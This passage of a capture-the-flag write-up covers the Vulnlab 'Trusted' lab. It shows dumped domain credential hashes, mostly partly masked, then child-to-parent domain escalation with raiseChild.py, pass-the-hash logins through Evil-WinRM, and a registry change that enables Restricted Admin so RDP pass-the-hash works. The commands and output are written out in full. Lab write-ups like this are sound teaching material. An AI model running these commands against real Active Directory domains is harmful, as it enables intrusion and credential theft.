[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x68580865f85a4743db214876adf784df
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:86a9************************b475:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)

<skip>

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7587************************bc07:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c7a03c565c68c6fac5f8913fab576ebd:::
lab.trusted.vl\rsmith:1104:aad3b435b51404eeaad3b435b51404ee:30ef************************93dd:::
lab.trusted.vl\ewalters:1106:aad3b435b51404eeaad3b435b51404ee:d53e************************c3f1:::
lab.trusted.vl\cpowers:1107:aad3b435b51404eeaad3b435b51404ee:322d************************3c43:::
LABDC$:1000:aad3b435b51404eeaad3b435b51404ee:bbe4************************698c:::
TRUSTED$:1103:aad3b435b51404eeaad3b435b51404ee:b6ae************************757b:::

Escalating to Enterprise Admin with RaiseChild.py

As cpowers was a domain administrator and we had their NTLM hash in hand, we could forge an inter-realm ticket to escalate from lab.trusted.vl to trusted.vl. I chose to automate this process with raiseChild.py. I could have manually gotten the domain SIDs for both domains and the hash for krbtgt to generate the golden ticket but this was my first time using raiseChild.py so I wanted to give it a whirl.

[Feb 05, 2025 - 00:27:07 (EST)] exegol-vl trusted2 # python3 /opt/my-resources/bin/raiseChild.py lab.trusted.vl/cpowers -hashes :322d************************3c43
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Raising child domain lab.trusted.vl
[*] Forest FQDN is: trusted.vl
[*] Raising lab.trusted.vl to trusted.vl
[*] trusted.vl Enterprise Admin SID is: S-1-5-21-3576695518-347000760-3731839591-519
[*] Getting credentials for lab.trusted.vl
lab.trusted.vl/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c7a0************************6ebd:::
lab.trusted.vl/krbtgt:aes256-cts-hmac-sha1-96s:c930*******************************************************94aa
[*] Getting credentials for trusted.vl
trusted.vl/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d943************************fa2d:::
trusted.vl/krbtgt:aes256-cts-hmac-sha1-96s:3e5b*******************************************************a2bf
[*] Target User account name is Administrator
trusted.vl/Administrator:500:aad3b435b51404eeaad3b435b51404ee:15db************************72ef:::
trusted.vl/Administrator:aes256-cts-hmac-sha1-96s:d75e*******************************************************d4a6

Now the NTLM hash for Administrator in trusted.vl can be used with Evil-WinRM to log on to the parent domain controller.

[Feb 05, 2025 - 00:27:21 (EST)] exegol-vl trusted2 # evil-winrm -u Administrator -H 15db************************72ef -i trusteddc.trusted.vl
                                        
Evil-WinRM shell v3.7
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami; hostname
trusted\administrator
trusteddc
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

While we should have access to the root flag, we could not read it. Shoot.

*Evil-WinRM* PS C:\Users\Administrator\Desktop> more root.txt
Access to the path 'C:\Users\Administrator\Desktop\root.txt' is denied.
At line:7 char:9
+         Get-Content $file | more.com
+         ~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Users\Administrator\Desktop\root.txt:String) [Get-Content], UnauthorizedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand

*Evil-WinRM* PS C:\Users\Administrator\Desktop>

As for the reason why we could read it? Well the flag was encrypted by EFS and could be verified via cipher.exe.

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cipher.exe

 Listing C:\Users\Administrator\Desktop\
 New files added to this directory will be encrypted.

E root.txt

To get around this limitation, I chose to RDP to the machine. However, as Restricted Admin mode is disabled by default, we cannot pass-the-hash with something like xfreerdp. Instead, Restricted Admin mode has to be enabled first. Since this is not the default behavior, it has to be enabled via a registry key.

*Evil-WinRM* PS C:\Users\Administrator\Desktop> reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD
The operation completed successfully.

Restricted Admin what?

Let's talk about Restricted Admin mode for a second.

By default, Restricted Admin mode is disabled and when you connect to a remote host via RDP, your username and password are sent to the host, allowing for delegation to secondary network resources within the remote session. Any network resources accessed are done with your user account, not the source computer account. A copy of the credentials is stored in LSASS on the remote host

If we can enable Restricted Admin mode, no credentials are sent to the remote host. Instead, the client authenticates the user locally and generates an authentication token (Kerberos or NTLM), which is then sent to the remote host. Since the remote host only receives a token and not a password, we can authenticate with an NTLM hash instead, making pass-the-hash attacks possible.

That's a high-level explanation – there are plenty of resources online that go much further in depth but there have been too many tangents already.

Once the registry key is set, now the NTLM hash can be used to RDP using xfreerdp.

[Feb 05, 2025 - 00:41:41 (EST)] exegol-vl /workspace # xfreerdp /d:trusted.vl /u:Administrator /pth:15db************************72ef /v:trusteddc.trusted.vl
[00:41:43:451] [97511:97518] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[00:41:43:451] [97511:97518] [WARN][com.freerdp.crypto] - CN = trusteddc.trusted.vl
[00:41:45:267] [97511:97518] [INFO][com.freerdp.gdi] - Local framebuffer format  PIXEL_FORMAT_BGRX32
[00:41:45:267] [97511:97518] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32

If this were a real engagement, it would be imperative to remove this key as part of post-assessment cleanup. By default, this registry key does not exist and therefore disables Restricted Admin mode. To do this, just run the following command -

reg delete HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /f

That's all I have for you in this write-up. Thank you for taking the time to read it and you learned something new as a result. Until next time!

InfoSecGray just pwned Trusted @ Vulnlab!
Solved on 2025/02/01 @ Vulnlab!

Kyle Gray

Kyle Gray

Hey there πŸ‘‹ Certs - ITILv3, eJPT, PNPT, CRTP, CRTE, PJPT, CRTO